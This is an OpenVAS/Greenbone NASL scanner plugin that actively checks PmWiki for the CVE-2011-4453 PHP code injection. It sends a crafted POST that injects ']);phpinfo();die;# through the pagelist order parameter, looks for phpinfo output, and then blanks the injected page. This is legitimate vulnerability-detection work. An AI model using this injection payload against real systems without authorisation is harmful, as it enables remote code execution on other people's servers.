PmWiki 2.0.x < 2.2.35 PHP Code Injection Vulnerability - Active Check

# Copyright (C) 2011 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:pmwiki:pmwiki";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902592");
  script_version("2022-08-02T10:11:24+0000");
  script_tag(name:"last_modification", value:"2022-08-02 10:11:24 +0000 (Tue, 02 Aug 2022)");
  script_tag(name:"creation_date", value:"2011-11-28 13:13:13 +0530 (Mon, 28 Nov 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2011-4453");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("PmWiki 2.0.x < 2.2.35 PHP Code Injection Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2011 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_pmwiki_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("pmwiki/http/detected");

  script_tag(name:"summary", value:"PmWiki is prone to a PHP code injection vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");

  script_tag(name:"insight", value:"The flaw is due to improper validation of user-supplied input
  via the 'order' argument of a pagelist directive within a PmWiki page, which allows attackers to
  execute arbitrary PHP code.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to inject
  and execute arbitrary PHP code in the context of the affected application.");

  script_tag(name:"affected", value:"PmWiki versions 2.0.0 through 2.2.34.");

  script_tag(name:"solution", value:"Update to version 2.2.35 or later.");

  script_xref(name:"URL", value:"http://secunia.com/advisories/46968");
  script_xref(name:"URL", value:"http://www.pmwiki.org/wiki/PITS/01271");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/18149");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/520631");
  script_xref(name:"URL", value:"http://www.pmwiki.org/wiki/PmWiki/ChangeLog#v2235");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

url = dir + "/pmwiki.php";
postData = "action=edit&post=save&n=Cmd.Shell&text=(:pagelist order=']);phpinfo();die;#:)";

host = http_host_name(port: port);
req = string("POST ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "Content-Type: application/x-www-form-urlencoded\r\n",
             "Content-Length: ", strlen(postData), "\r\n",
             "\r\n", postData);
res = http_keepalive_send_recv(port: port, data: req);

if (res && res =~ "^HTTP/1\.[01] 30") {
  path = url + "?n=Cmd.Shell";
  if (http_vuln_check(port: port, url: path, pattern: ">phpinfo\(\)<")) {
    ## Clean the pmwiki.php on success by sending empty POST
    postData = "action=edit&post=save&n=Cmd.Shell&text=";
    req = string("POST ", url, " HTTP/1.1\r\n",
                 "Host: ", host, "\r\n",
                 "Content-Type: application/x-www-form-urlencoded\r\n",
                 "Content-Length: ", strlen(postData), "\r\n",
                 "\r\n", postData);
    http_keepalive_send_recv(port: port, data: req);

    security_message(port: port);
    exit(0);
  }
}

exit(99);